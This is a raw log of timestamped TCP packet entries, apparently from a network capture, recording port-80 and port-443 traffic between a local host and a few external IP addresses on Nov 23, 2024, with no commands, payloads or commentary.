Nov 23, 2024 13:28:38.275492907 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.280325890 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.280374050 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.280452967 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.285751104 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.285850048 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.285928011 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.291174889 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.291284084 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.291361094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.294873953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.294945955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.295011997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.296597958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.296698093 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.296770096 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.302072048 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.302151918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.302225113 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.307647943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.307734013 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.307826996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.312979937 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.313157082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.313237906 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.318408012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.318506956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.318581104 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.323827028 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.323909998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.330243111 CET	49802	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:38.337346077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.337446928 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.337500095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.356396914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.356478930 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.356542110 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.357584953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.357750893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.358545065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.360045910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.360806942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.360862970 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.360922098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.363259077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.363321066 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.363387108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.408179045 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.421511889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.421565056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.421612978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.428035021 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.428117990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.428168058 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.428217888 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.430079937 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.430160999 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.430885077 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.430938959 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.430963993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.431010008 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.435082912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.435142994 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.435194016 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.435245991 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.439285040 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.439363003 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.439388037 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.439435005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.443485022 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.443555117 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.443594933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.443770885 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.447702885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.447777033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.447808027 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.447858095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.452061892 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.452115059 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.452162027 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.452162027 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.455697060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.455709934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.455776930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.456124067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.456204891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.456263065 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.456263065 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.456377029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.456484079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.456623077 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.458823919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.460320950 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.460433006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.460453033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.460484982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.464551926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.464663029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.464724064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.468549967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.468615055 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.468648911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.468697071 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.472723961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.472779989 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.472786903 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.472835064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.476696014 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.476779938 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.476805925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.476933956 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.480730057 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.480793953 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.480967999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.481029987 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.484693050 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.484754086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.484777927 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.484832048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.488662958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.488719940 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.488770008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.488823891 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.492679119 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.492777109 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.492882967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.492937088 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.496700048 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.496802092 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.496840000 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.496840000 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.497186899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.497358084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.497379065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.498363972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.498442888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.500756979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.500818014 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.500825882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.501112938 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.504748106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.504810095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.504909039 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.504957914 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.505218029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.505322933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.505783081 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.508773088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.508888006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.508940935 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.512851954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.512909889 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.512949944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.512949944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.516859055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.516874075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.516932011 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.520859957 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.520966053 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.520967007 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.521023035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.524950027 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.525027037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.525067091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.525114059 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.529037952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.529213905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.529237986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.529268980 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.532958984 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.533081055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.533162117 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.537002087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.537137032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.537173986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.537173986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.540019989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.540061951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.540182114 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.540925980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.541028023 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.541064978 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.541099072 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.541131020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.544939995 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.544997931 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.566606998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.566617966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.566682100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.582350969 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.582370043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.582422018 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.583544970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.583869934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.624764919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.624830961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.625495911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.625919104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.625998020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.626292944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.638777018 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.638832092 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.638839960 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.638887882 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.640619993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.640680075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.640696049 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.640733957 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.644023895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.644145012 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.644285917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.644337893 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.647516012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.647669077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.647696972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.647748947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.651077986 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.651124001 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.651211977 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.651262045 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.654474020 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.654555082 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.654599905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.654660940 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.657282114 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.657356024 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.657375097 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.657418966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.660126925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.660185099 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.660264969 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.660317898 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.662807941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.662868023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.662921906 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.662966967 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.665530920 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.665592909 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.665633917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.665682077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.666135073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.666248083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.666910887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.667573929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.667821884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.667928934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.668797970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.668816090 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.668868065 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.668868065 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.669964075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.671160936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.671297073 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.671353102 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.674082041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.674140930 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.674223900 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.674272060 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.676995993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.677083015 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.677123070 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.677210093 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.678774118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.678848028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.678853035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.679241896 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.679287910 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.679295063 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.679342985 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.679517984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.679559946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.681345940 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.681437969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.681447983 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.681499958 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.683912992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.683970928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.683996916 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.684043884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.686525106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.686567068 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.686587095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.686619997 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.689099073 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.689153910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.689204931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.689254045 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.691696882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.691776037 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.691845894 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.694248915 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.694307089 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.694339991 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.694386959 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.696949959 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.697000980 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.697041988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.697098017 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.699399948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.699527025 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.699528933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.699582100 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.701953888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.702008963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.702068090 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.702116966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.704607964 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.704660892 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.704698086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.704756021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.707135916 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.707180977 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.707185984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.707237005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.709727049 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.709779024 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.709837914 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.709886074 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.712274075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.712312937 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.712368965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.712368965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.714822054 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.714874983 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.714937925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.714989901 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.717405081 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.717463970 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.717519999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.717580080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.719985008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.720035076 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.720097065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.720156908 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.722573996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.722671032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.722707033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.722707033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.725126982 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.725181103 CET	49799	80	192.168.2.6	185.215.113.16
